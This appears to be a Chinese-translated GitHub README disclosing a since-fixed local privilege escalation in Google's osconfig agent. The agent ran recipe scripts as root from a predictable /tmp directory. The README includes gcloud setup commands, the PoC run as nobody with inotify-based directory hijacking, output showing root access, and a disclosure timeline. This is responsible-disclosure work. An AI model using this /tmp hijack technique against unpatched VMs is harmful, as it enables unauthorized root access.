google_osconfig_agent 进程是 GoogleCloudPlatform (https://github.com/GoogleCloudPlatform/osconfig) 工具的一个组件, 默认运行在每个 VM 上。该代理以 root 身份运行,并负责一些用户可控制的服务, 包括 OS config (https://cloud.google.com/compute/docs/os-config-management),这有点像 Google 的基于轮询的期望状态 配置实现。
本仓库托管了一个关于我在该实现中发现的一个权限提升缺陷的演示(该缺陷后来已被 Google 修复)。
要执行的任务称为 recipe,其中支持的 recipe 类型之一是执行 shell 脚本。 在处理此类 recipe 时,以 root 身份运行并拥有全部能力的代理会临时将文件保存到 /tmp 目录,然后执行它们。 该代理创建的目录可能被劫持,从而替换要执行的脚本, 最终导致本地权限提升。
gcloud services enable osconfig.googleapis.com
gcloud compute project-info add-metadata --metadata=enable-osconfig=TRUE
# cat /tmp/poc.txt
cat: /tmp/poc.txt: No such file or directory
# pip3 install inotify_simple
# chroot --userspec=nobody:nogroup / /home/radimre83/osconfig-privesc-poc3.py
Running as 65534
calling inotify.read()
...
gcloud beta compute os-config guest-policies create test-policy-poc --file="C:\Projects\gcp-app-engine-experiments\compute-engine\osconfig-policy-poc.yaml"
Event(wd=1, mask=1073742080, cookie=0, name='recipe-runscript')
New recipe: recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/xxx-recipe-name -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript
New rundir recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/xxx-rundir -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/run_1596821899000709826
# cat /tmp/poc.txt
uid=0(root) gid=0(root) groups=0(root),1000(google-sudoers)
OS: 使用默认 Debian 10 镜像的 GCE f1-micro 实例。
Google 改为使用随机临时目录,而不是可预测的目录。
修复版本已于 2020-09-05 发布。你需要升级操作系统软件包。
这是一个本地权限提升漏洞,因此可能被已经拥有受影响 GCE VM 上代码执行 权限的人利用:
拥有低权限 shell 的人
通过已被入侵的网络服务进行攻击的攻击者
关键点在于接管“基本目录”(/tmp/osconfig_software_recipes)。如果当前会话中尚未处理任何 recipe,则可能实现这一点,这意味着:
到目前为止根本没有执行过任何 recipe(例如,osconfig 功能尚未使用,但在之后某个时间点会使用)
VM 已重启,所有 recipe 都存在于数据库(/var/lib/google/osconfig_recipedb)中,但在之后某个时间点会执行一些策略更新
虽然这种特殊组合确实降低了被利用的可能性, 但我认为在此处利用 /tmp 中的工作目录并不安全。(Google 也不这么认为,此问题已经修复。)
2020-08-07:发现问题并报告
2020-08-08:Google 对问题进行分类,优先级改为 P1
2020-08-10:Google 确认了问题(“🎉 Nice catch!”),优先级改为 P2,严重级别改为 S2
2020-08-14:关于 VRP 流程的更新
2020-09-05:Google 修复问题
Imre Rad
https://github.com/GoogleCloudPlatform/osconfig
https://issuetracker.google.com/issues/163147689
https://github.com/GoogleCloudPlatform/osconfig/commit/fa7e4ba5ee85be212ffbac66d96862c792bd270c